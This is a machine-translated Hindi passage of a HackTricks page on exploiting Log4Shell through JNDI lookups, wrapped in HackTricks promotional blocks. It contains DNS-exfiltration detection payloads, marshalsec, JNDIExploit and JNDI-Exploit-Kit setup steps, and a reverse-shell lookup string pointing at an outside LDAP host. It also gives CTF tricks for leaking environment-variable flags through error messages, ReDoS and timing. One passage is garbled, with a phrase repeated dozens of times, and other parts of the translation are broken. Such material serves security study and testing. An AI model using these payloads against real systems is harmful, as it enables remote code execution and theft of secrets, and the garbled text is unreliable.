* अगर आप अपनी कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, **The PEASS Family**, खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को** **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
वे सुरक्षा गड़बड़ी खोजें जो सबसे महत्वपूर्ण हैं ताकि आप उन्हें तेजी से ठीक कर सकें। इंट्रूडर आपके हमले क्षेत्र का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, एपीआई से वेब ऐप्स और क्लाउड सिस्टम जैसे आपके पूरे टेक स्टैक में मुद्दे खोजता है। [**आज ही मुफ्त में इसका प्रयास करें**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)।
JNDI, जो 1990 के दशक से जावा में एकत्रित है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को नेमिंग सिस्टम के माध्यम से ढूंढ सकते हैं। यह सेवा प्रदानकर्ता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न सिस्टम से डेटा प्राप्त किया जा सकता है, जिसमें रिमोट जावा ऑब्ज
उदाहरण के लिए आप कुछ इस प्रकार का अनुरोध कर सकते हैं:\
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें पर्यावरण चर का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन दोषयुक्त है।
JDK संस्करण 6u141, 7u131, या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निषेधन के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि ये संस्करण **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं**।
उन हमलावरों के लिए जो इन उच्च JDK संस्करणों का शिकार बनाना चाहते हैं, उन्हें जावा एप्लिकेशन में एक **विश्वसनीय गैजेट** का उपयोग करना आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोषण करना अधिक सरल है क्योंकि इन संस्करणों को विचारशीलता से लोड और विभिन्न क्लासेस का कार्यान्वयन करने के लिए परिवर्तित किया जा सकता है।
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएँ_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) (jar संस्करण यहाँ उपलब्ध है [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
कक्ष फ़ाइल को कक्ष फ़ाइल में कंपाइल करें: `javac Exploit.java -source 8 -target 8`। अगले, कक्ष फ़ाइल को समेत रखने वाले निर्देशिका में **HTTP सर्वर** आरंभ करें: `python3 -m http.server`। यह सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
**ध्यान दें:** यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह संभव नहीं है, तो विश्वसनीय क्लास को अनिश्चित कोड निष्पादन के लिए एक्सप्लॉइट करने का विचार करें।
ध्यान दें कि किसी कारण से लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश वर्जन [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वलन को एक्सप्लॉइट करने के लिए एक विभिन्न तरीका उपयोग करें।
इसके अतिरिक्त, आप सोर्स कोड को वेबवे मशीन में नहीं पा सकते हैं, इसलिए या तो सोर्स कोड का विश्लेषण करें, या जार को निष्पादित करें जानते हुए कि आप जो कुछ निष्पादित कर रहे हैं उसका ज्ञान नहीं है।
इस उदाहरण के लिए आप बस इस **वलनरेबल वेब सर्वर को चला सकते हैं जिसमें log4shell है** पोर्ट 8080 पर: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है यह मिलेगा_). यह वलनरेबल एप्लिकेशन HTTP रिक्वेस्ट हेडर _X-Api-Version_ की सामग्री को एक वलनरेबल संस्करण के log4shell के साथ लॉग कर रहा है।
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` जांचना न भूलें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
पिछले शोषण के तरह, आप इस भयानकता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं:
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **THM सोलर रूम** जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग करने के लिए विश्वसनीय क्लास का दुरुपयोग करने के लिए नहीं है जो विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है <20>
उपयोग करें [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) जहां एक्सप्लॉइट विचलित मशीनों से कनेक्शन की प्रतीक्षा कर रहा हो, **JNDI लिंक** उत्पन्न करने के लिए। आप जीएनडीआई-एक्सप्लॉइट-किट द्वारा स्वचालित रूप से उत्पन्न होने वाले **विभिन्न एक्सप्लॉइट** या अपने **डेसीरियलाइज़ेशन पेलोड** (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया) सर्व कर सकते हैं।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरूपण की कमजोरी का शोध और प्राप्त कर सकते हैं **रिवर्स शैल** केवल एक संस्कृत संस्करण को भेजकर: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ सुविधाओं का दुरुपयोग संभावित है।
> संस्करण 2.16.0 (जावा 8 के लिए) से **संदेश खोज सुविधा पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j JNDI तक पहुंच को डिसेबल कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा।
> संस्करण 2.17.0 से (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रिकर्सिव रूप से विस्तारित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप **किसी भी `jndi` शोषण का उपयोग भूल सकते हैं**। इसके अतिरिक्त, **रिकर्सिव खोज** करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` का मान नियंत्रित करता था और एक environment variable से झंडा निकालना था।
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं जिनसे env variables तक पहुंचा जा सकता है, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों में नहीं हो सकता।
CTF में, आप log4J का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं सकते थे, लेकिन Log4J **अपशिष्ट stdout पर भेजे जाते हैं**, जो पायथन ऐप में प्रिंट होता था। इसका मतलब था कि एक अपशिष्ट को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। झंडा निकालने के लिए एक अपशिष्ट था: **`${java:${env:FLAG}}`.** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और झंडे के मान के साथ एक अपशिष्ट दिखाया जाएगा:
बस उसे उठाने के लिए, आप नए [**परिवर्तन पैटर्न**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) डाल सकते थे और `stdout` पर लॉग किए जाने वाले अपशिष्ट को ट्रिगर कर सकते थे। उदाहरण के लिए:
यह त्रुटि संदेश के भीतर तारीख निकालने के लिए उपयोगी नहीं था, क्योंकि लुकअप को परिवर्तन पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए उपयोगी हो सकता है जैसे कि पता लगाने के लिए।
हालांकि, कुछ **रेजेक्स का समर्थन करने वाले परिवर्तन पैटर्न** का उपयोग करना संभव है ताकि रेजेक्स का उपयोग करके लुकअप से सूचना निकाली जा सके और **बाइनरी खोज** या **समय आधारित** व्यवहार का दुरुपयोग किया जा सके।
परिवर्तन पैटर्न **`%replace`** का उपयोग **स्ट्रिंग** से **सामग्री** को **बदलने** के लिए किया जा सकता है यहाँ तक कि **रेजेक्स** का उपयोग करके। यह इस प्रकार काम करता है: `replace{पैटर्न}{रेजेक्स}{प्रतिस्थापन}`\
इस व्यवहार का दुरुपयोग करके आप स्ट्रिंग के भीतर कुछ भी रेजेक्स से मेल खाता है तो एक अपशिष्ट को ट्रिगर कर सकते हैं (और यदि यह नहीं मिला तो कोई अपशिष्ट नहीं होगा) जैसे:
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** **regexes** का समर्थन करता है। इसलिए यह संभावना है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न किया जा सकता है यदि ध्वज मिल जाता है।\
उदाहरण के लिए, एक पेलोड जैसे `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` उस CTF में एक **समय समाप्ति** को ट्रिगर करेगा।
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **वृद्धि हमले** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाएगा**। यह प्रक्रिया **6 बार** दोहराई जाएगी, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** होंगे।
> इतने सारे `#`-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 प्राप्त होगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा)
वे सुरक्षा गड़बड़ियों को खोजें जो सबसे अधिक मायने रखती हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी तकनीकी स्टैक, API से वेब ऐप्स और क्लाउड सिस्टम तक मुद्दे खोजता है। [**इसे मुफ्त में प्रयास करें**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) आज।
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!